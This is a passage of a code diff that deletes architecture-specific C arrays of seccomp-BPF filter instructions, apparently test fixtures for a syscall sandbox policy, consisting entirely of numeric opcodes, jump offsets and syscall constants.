-  {0x45, 0, 133, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 138, 0, 0x0},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 128, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 126, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 131, 0, 0x5},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 121, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 119, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 124, 126, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 114, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 112, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 117, 0xfffffe7f},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 107, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 105, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 109, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 99, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 97, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 101, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 91, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 89, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 93, 0, 0x4},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 83, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 81, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 85, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 75, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 73, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 77, 0, 0x9},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 67, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 65, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 69, 0, 0xa},
-  {0x6, 0, 0, 0x30003},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 58, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 56, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 61, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 51, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 49, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 54, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 44, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 42, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 47, 0, 0x2},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 37, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 35, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 40, 0, 0x6},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 30, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 28, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 33, 0, 0x7},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 23, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 21, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 26, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 16, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 14, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 19, 0, 0x0},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 9, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 7, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x15, 12, 0, 0x406},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 4, 0, 0x0},
-  {0x15, 0, 2, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 1, 0, 0x80000000},
-  {0x6, 0, 0, 0x30002},
-  {0x20, 0, 0, 0x18},
-  {0x15, 0, 6, 0x4},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 4, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 2, 0, 0xffe1e3fc},
-  {0x6, 0, 0, 0x7fff0000},
-  {0x6, 0, 0, 0x50001},
-  {0x6, 0, 0, 0x30001},
-};
-#elif defined(__i386__)
-struct sock_filter kTestSeccompFilter[] = {
-  {0x20, 0, 0, 0x4},
-  {0x15, 1, 0, 0x40000003},
-  {0x6, 0, 0, 0x30007},
-  {0x20, 0, 0, 0x0},
-  {0x45, 0, 1, 0x40000000},
-  {0x6, 0, 0, 0x30006},
-  {0x35, 0, 86, 0x96},
-  {0x35, 0, 43, 0xe0},
-  {0x35, 0, 20, 0x11c},
-  {0x35, 0, 10, 0x13f},
-  {0x35, 0, 5, 0x149},
-  {0x35, 0, 2, 0x163},
-  {0x35, 0, 95, 0x164},
-  {0x35, 94, 91, 0x165},
-  {0x35, 0, 92, 0x14c},
-  {0x35, 89, 92, 0x161},
-  {0x35, 0, 2, 0x141},
-  {0x35, 0, 90, 0x144},
-  {0x35, 89, 86, 0x145},
-  {0x35, 85, 87, 0x140},
-  {0x35, 0, 4, 0x12d},
-  {0x35, 0, 2, 0x136},
-  {0x35, 0, 85, 0x137},
-  {0x35, 84, 81, 0x138},
-  {0x35, 82, 80, 0x134},
-  {0x35, 0, 2, 0x127},
-  {0x35, 0, 80, 0x128},
-  {0x35, 79, 77, 0x12c},
-  {0x35, 79, 78, 0x11d},
-  {0x35, 0, 11, 0xfe},
-  {0x35, 0, 6, 0x10a},
-  {0x35, 0, 3, 0x10e},
-  {0x35, 1, 0, 0x10f},
-  {0x5, 0, 0, 0x144},
-  {0x35, 73, 70, 0x110},
-  {0x35, 0, 72, 0x10c},
-  {0x35, 71, 68, 0x10d},
-  {0x35, 0, 2, 0x102},
-  {0x35, 0, 68, 0x103},
-  {0x35, 138, 68, 0x109},
-  {0x35, 67, 66, 0x101},
-  {0x35, 0, 4, 0xf1},
-  {0x35, 0, 2, 0xf4},
-  {0x35, 0, 64, 0xfc},
-  {0x35, 60, 62, 0xfd},
-  {0x35, 61, 62, 0xf3},
-  {0x35, 0, 3, 0xee},
-  {0x35, 1, 0, 0xef},
-  {0x5, 0, 0, 0x13a},
-  {0x35, 152, 58, 0xf0},
-  {0x35, 57, 56, 0xe1},
-  {0x35, 0, 21, 0xb9},
-  {0x35, 0, 11, 0xcd},
-  {0x35, 0, 6, 0xd4},
-  {0x35, 0, 3, 0xdc},
-  {0x35, 0, 49, 0xdd},
-  {0x35, 51, 0, 0xde},
-  {0x5, 0, 0, 0x104},
-  {0x35, 0, 46, 0xd9},
-  {0x35, 177, 48, 0xdb},
-  {0x35, 0, 2, 0xd1},
-  {0x35, 0, 45, 0xd2},
-  {0x35, 44, 42, 0xd3},
-  {0x35, 41, 43, 0xce},
-  {0x35, 0, 4, 0xc1},
-  {0x35, 0, 2, 0xc6},
-  {0x35, 0, 38, 0xc7},
-  {0x35, 37, 39, 0xcb},
-  {0x35, 38, 36, 0xc5},
-  {0x35, 0, 2, 0xbb},
-  {0x35, 0, 37, 0xbf},
-  {0x35, 242, 35, 0xc0},
-  {0x35, 34, 32, 0xba},
-  {0x35, 0, 10, 0xaa},
-  {0x35, 0, 5, 0xb1},
-  {0x35, 0, 2, 0xb5},
-  {0x35, 0, 31, 0xb6},
-  {0x35, 29, 27, 0xb8},
-  {0x35, 0, 28, 0xb2},
-  {0x35, 27, 28, 0xb4},
-  {0x35, 0, 2, 0xac},
-  {0x35, 0, 159, 0xad},
-  {0x35, 25, 24, 0xb0},
-  {0x35, 23, 21, 0xab},
-  {0x35, 0, 4, 0xa4},
-  {0x35, 0, 2, 0xa6},
-  {0x35, 0, 21, 0xa8},
-  {0x35, 20, 19, 0xa9},
-  {0x35, 18, 16, 0xa5},
-  {0x35, 0, 2, 0x9e},
-  {0x35, 0, 16, 0x9f},
-  {0x35, 15, 16, 0xa2},
-  {0x35, 15, 14, 0x98},
-  {0x35, 0, 44, 0x4f},
-  {0x35, 0, 23, 0x6f},
-  {0x35, 0, 13, 0x7e},
-  {0x35, 0, 5, 0x8c},
-  {0x35, 0, 2, 0x90},
-  {0x35, 0, 9, 0x91},
-  {0x35, 8, 7, 0x94},
-  {0x35, 0, 6, 0x8d},
-  {0x35, 5, 3, 0x8e},
-  {0x35, 0, 3, 0x85},
-  {0x35, 0, 1, 0x86},
-  {0x35, 0, 3, 0x8a},
-  {0x5, 0, 0, 0x102},
-  {0x35, 1, 0, 0x7f},
-  {0x5, 0, 0, 0x101},
-  {0x5, 0, 0, 0x101},
-  {0x35, 0, 4, 0x77},
-  {0x35, 0, 2, 0x7a},
-  {0x35, 0, 253, 0x7c},
-  {0x35, 165, 253, 0x7d},
-  {0x35, 252, 251, 0x79},
-  {0x35, 0, 2, 0x73},
-  {0x35, 0, 250, 0x75},
-  {0x35, 249, 247, 0x76},
-  {0x35, 247, 248, 0x72},
-  {0x35, 0, 10, 0x60},
-  {0x35, 0, 5, 0x66},
-  {0x35, 0, 2, 0x6c},
-  {0x35, 0, 243, 0x6d},
-  {0x35, 241, 243, 0x6e},
-  {0x35, 0, 158, 0x67},
-  {0x35, 239, 241, 0x6a},
-  {0x35, 0, 2, 0x63},
-  {0x35, 0, 237, 0x64},
-  {0x35, 236, 238, 0x65},
-  {0x35, 237, 236, 0x62},
-  {0x35, 0, 4, 0x57},
-  {0x35, 0, 2, 0x5a},
-  {0x35, 0, 182, 0x5b},
-  {0x35, 231, 232, 0x5c},
-  {0x35, 230, 232, 0x59},
-  {0x35, 0, 2, 0x51},
-  {0x35, 0, 228, 0x52},
-  {0x35, 227, 228, 0x53},
-  {0x35, 227, 228, 0x50},
-  {0x35, 0, 20, 0x29},
-  {0x35, 0, 10, 0x38},
-  {0x35, 0, 5, 0x41},
-  {0x35, 0, 2, 0x46},
-  {0x35, 0, 221, 0x48},
-  {0x35, 221, 222, 0x4e},
-  {0x35, 0, 221, 0x43},
-  {0x35, 220, 219, 0x44},
-  {0x35, 0, 2, 0x3d},
-  {0x35, 0, 218, 0x3e},
-  {0x35, 216, 215, 0x3f},
-  {0x35, 214, 216, 0x3c},
-  {0x35, 0, 4, 0x30},
-  {0x35, 0, 2, 0x33},
-  {0x35, 0, 213, 0x36},
-  {0x35, 164, 211, 0x37},
-  {0x35, 210, 211, 0x31},
-  {0x35, 0, 2, 0x2d},
-  {0x35, 0, 208, 0x2e},
-  {0x35, 207, 206, 0x2f},
-  {0x35, 207, 206, 0x2b},
-  {0x35, 0, 9, 0x17},
-  {0x35, 0, 4, 0x1f},
-  {0x35, 0, 2, 0x22},
-  {0x35, 0, 203, 0x25},
-  {0x35, 200, 194, 0x26},
-  {0x35, 199, 201, 0x21},
-  {0x35, 0, 2, 0x19},
-  {0x35, 0, 199, 0x1d},
-  {0x35, 196, 197, 0x1e},
-  {0x35, 196, 195, 0x18},
-  {0x35, 0, 4, 0xe},
-  {0x35, 0, 2, 0x12},
-  {0x35, 0, 192, 0x13},
-  {0x35, 193, 192, 0x15},
-  {0x35, 192, 190, 0x11},
-  {0x35, 0, 2, 0x3},
-  {0x35, 0, 189, 0x8},
-  {0x35, 188, 187, 0xd},
-  {0x35, 186, 187, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 180, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 183, 0, 0x1},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 176, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 179, 0, 0x6},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 172, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 175, 0, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 168, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 171, 0, 0x0},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 164, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 167, 0, 0x5},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 160, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 163, 164, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 156, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 159, 0xfffffe7f},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 152, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 154, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 147, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 149, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 142, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 144, 0, 0x4},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 137, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 139, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 132, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 134, 0, 0x9},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 127, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 129, 0, 0xa},
-  {0x6, 0, 0, 0x30005},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 121, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x15, 124, 123, 0x4},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 117, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 120, 0, 0x10},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 113, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 116, 0, 0xf},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 109, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 112, 0, 0x3},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 105, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 108, 0, 0x4},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 101, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 104, 0, 0x53564d41},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 97, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 100, 0, 0x59616d61},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 93, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 96, 0, 0x29},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 89, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 92, 0, 0x2b},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 85, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 88, 0, 0x7f},
-  {0x6, 0, 0, 0x30004},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 80, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 84, 83, 0xfffffff8},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 76, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 79, 0, 0x8},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 72, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 75, 0, 0xd},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 68, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 71, 0, 0xa},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 64, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 67, 0, 0x9},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 60, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 63, 0, 0xc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 56, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 59, 0, 0xb},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 52, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 55, 0, 0x11},
-  {0x20, 0, 0, 0x14},
-  {0x15, 0, 48, 0x0},
-  {0x20, 0, 0, 0x10},
-  {0x15, 51, 50, 0x10},
-  {0x20, 0, 0, 0x2c},
-  {0x15, 0, 44, 0x0},
-  {0x20, 0, 0, 0x28},
-  {0x45, 48, 47, 0xfffdb7cc},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 40, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 43, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 36, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 39, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 32, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 35, 0, 0x2},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 28, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 31, 0, 0x6},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 24, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 27, 0, 0x7},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 20, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 23, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 16, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 19, 0, 0x0},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 12, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 15, 0, 0x406},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 0, 8, 0x0},
-  {0x20, 0, 0, 0x18},
-  {0x15, 0, 12, 0x4},
-  {0x20, 0, 0, 0x24},
-  {0x15, 0, 4, 0x0},
-  {0x20, 0, 0, 0x20},
-  {0x45, 8, 7, 0xfff363fc},
-  {0x20, 0, 0, 0x14},
-  {0x15, 1, 0, 0x0},
-  {0x6, 0, 0, 0x30003},
-  {0x20, 0, 0, 0x10},
-  {0x15, 2, 0, 0x12b3},
-  {0x6, 0, 0, 0x30002},
-  {0x6, 0, 0, 0x50001},
-  {0x6, 0, 0, 0x7fff0000},
-  {0x6, 0, 0, 0x30001},
-};
-#elif defined(__x86_64__)
-struct sock_filter kTestSeccompFilter[] = {
-  {0x20, 0, 0, 0x4},
-  {0x15, 1, 0, 0xc000003e},
-  {0x6, 0, 0, 0x30007},
-  {0x20, 0, 0, 0x0},
-  {0x45, 0, 1, 0x40000000},
-  {0x6, 0, 0, 0x30006},
-  {0x35, 0, 58, 0x80},
-  {0x35, 0, 28, 0xe4},
-  {0x35, 0, 14, 0x111},
-  {0x35, 0, 7, 0x120},
-  {0x35, 0, 3, 0x13c},
-  {0x35, 0, 1, 0x13f},
-  {0x35, 106, 115, 0x140},
-  {0x35, 105, 114, 0x13e},
-  {0x35, 0, 1, 0x123},
-  {0x35, 103, 121, 0x126},
-  {0x35, 102, 111, 0x121},
-  {0x35, 0, 3, 0x119},
-  {0x35, 0, 1, 0x11d},
-  {0x35, 99, 108, 0x11e},
-  {0x35, 98, 116, 0x11a},
-  {0x35, 0, 106, 0x112},
-  {0x35, 105, 96, 0x118},
-  {0x35, 0, 6, 0xf8},
-  {0x35, 0, 3, 0x106},
-  {0x35, 0, 1, 0x10e},
-  {0x35, 92, 110, 0x110},
-  {0x35, 100, 109, 0x107},
-  {0x35, 0, 90, 0x101},
-  {0x35, 98, 107, 0x102},
-  {0x35, 0, 3, 0xea},
-  {0x35, 0, 1, 0xec},
-  {0x35, 104, 86, 0xf7},
-  {0x35, 94, 60, 0xeb},
-  {0x35, 0, 94, 0xe5},
-  {0x35, 101, 83, 0xe7},
-  {0x35, 0, 15, 0xac},
-  {0x35, 0, 7, 0xcb},
-  {0x35, 0, 3, 0xd9},
-  {0x35, 0, 1, 0xdc},
-  {0x35, 78, 87, 0xdd},
-  {0x35, 95, 86, 0xda},
-  {0x35, 0, 1, 0xd5},
-  {0x35, 75, 93, 0xd6},
-  {0x35, 83, 74, 0xd4},
-  {0x35, 0, 4, 0xbb},
-  {0x35, 0, 1, 0xc9},
-  {0x35, 125, 89, 0xca},
-  {0x35, 0, 70, 0xc8},
-  {0x5, 0, 0, 0x13d},
-  {0x35, 0, 77, 0xae},
-  {0x35, 85, 67, 0xba},
-  {0x35, 0, 6, 0x8c},
-  {0x35, 0, 3, 0x97},
-  {0x35, 0, 1, 0x9e},
-  {0x35, 63, 81, 0x9f},
-  {0x35, 172, 62, 0x9d},
-  {0x35, 0, 79, 0x8e},
-  {0x35, 78, 60, 0x95},
-  {0x35, 0, 3, 0x84},
-  {0x35, 0, 1, 0x88},
-  {0x35, 57, 66, 0x8a},
-  {0x35, 56, 65, 0x87},
-  {0x35, 0, 73, 0x81},
-  {0x35, 72, 54, 0x83},
-  {0x35, 0, 29, 0x3c},
-  {0x35, 0, 14, 0x6b},
-  {0x35, 0, 7, 0x76},
-  {0x35, 0, 3, 0x7a},
-  {0x35, 0, 1, 0x7e},
-  {0x35, 48, 57, 0x7f},
-  {0x35, 65, 56, 0x7c},
-  {0x35, 0, 1, 0x78},
-  {0x35, 45, 63, 0x79},
-  {0x35, 53, 62, 0x77},
-  {0x35, 0, 3, 0x6f},
-  {0x35, 0, 1, 0x73},
-  {0x35, 50, 59, 0x74},
-  {0x35, 49, 40, 0x71},
-  {0x35, 0, 57, 0x6d},
-  {0x35, 56, 38, 0x6e},
-  {0x35, 0, 6, 0x4c},
-  {0x35, 0, 3, 0x66},
-  {0x35, 0, 1, 0x68},
-  {0x35, 43, 52, 0x69},
-  {0x35, 33, 51, 0x67},
-  {0x35, 0, 41, 0x60},
-  {0x35, 31, 49, 0x62},
-  {0x35, 0, 3, 0x40},
-  {0x35, 0, 1, 0x49},
-  {0x35, 28, 46, 0x4a},
-  {0x35, 201, 36, 0x48},
-  {0x35, 0, 44, 0x3e},
-  {0x35, 43, 0, 0x3f},
-  {0x5, 0, 0, 0x109},
-  {0x35, 0, 15, 0x1d},
-  {0x35, 0, 8, 0x31},
-  {0x35, 0, 3, 0x37},
-  {0x35, 0, 1, 0x3a},
-  {0x35, 28, 19, 0x3b},
-  {0x35, 27, 36, 0x39},
-  {0x35, 0, 2, 0x35},
-  {0x35, 16, 0, 0x36},
-  {0x5, 0, 0, 0x108},
-  {0x35, 14, 23, 0x33},
-  {0x35, 0, 3, 0x27},
-  {0x35, 0, 1, 0x29},
-  {0x35, 29, 20, 0x2c},
-  {0x35, 10, 28, 0x28},
-  {0x35, 0, 18, 0x20},
-  {0x35, 8, 26, 0x24},
-  {0x35, 0, 8, 0xb},
-  {0x35, 0, 4, 0x15},
-  {0x35, 0, 2, 0x1a},
-  {0x35, 0, 4, 0x1c},
-  {0x5, 0, 0, 0x103},
-  {0x35, 20, 11, 0x16},
-  {0x35, 0, 19, 0x12},
-  {0x35, 18, 0, 0x13},
-  {0x5, 0, 0, 0x117},
-  {0x35, 0, 5, 0x6},
-  {0x35, 0, 3, 0x9},
-  {0x35, 1, 0, 0xa},
-  {0x5, 0, 0, 0x109},
-  {0x5, 0, 0, 0x101},
-  {0x35, 11, 2, 0x7},
-  {0x35, 0, 10, 0x4},
-  {0x35, 9, 0, 0x5},
-  {0x5, 0, 0, 0x10c},
-  {0x20, 0, 0, 0x14},
-  {0x15, 4, 0, 0x0},
-  {0x15, 0, 2, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 1, 0, 0x80000000},
-  {0x5, 0, 0, 0x103},
-  {0x20, 0, 0, 0x10},
-  {0x15, 0, 1, 0x1},
-  {0x5, 0, 0, 0x104},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 253, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 251, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 253, 0, 0x6},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 246, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 244, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 246, 0, 0x2},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 239, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 237, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 239, 0, 0x0},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 232, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 230, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 232, 0, 0x5},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 225, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 223, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 225, 226, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 218, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 216, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 218, 0xfffffe7f},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 211, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 209, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 210, 0, 0x1},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 203, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 201, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 202, 0, 0x3},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 195, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 193, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 194, 0, 0x4},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 187, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 185, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 186, 0, 0x5},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 179, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 177, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 178, 0, 0x9},
-  {0x20, 0, 0, 0x1c},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 171, 0xffffffff},
-  {0x20, 0, 0, 0x18},
-  {0x45, 0, 169, 0x80000000},
-  {0x20, 0, 0, 0x18},
-  {0x54, 0, 0, 0xfffffe7f},
-  {0x15, 170, 0, 0xa},
-  {0x6, 0, 0, 0x30005},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 162, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 160, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 162, 0, 0x10},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 155, 0xffffffff},
-  {0x20, 0, 0, 0x10},
-  {0x45, 0, 153, 0x80000000},
-  {0x20, 0, 0, 0x10},
-  {0x15, 155, 0, 0xf},
-  {0x20, 0, 0, 0x14},
-  {0x15, 3, 0, 0x0},
-  {0x15, 0, 148, 0xffffffff},
-  {0x20, 0, 0, 0x10},
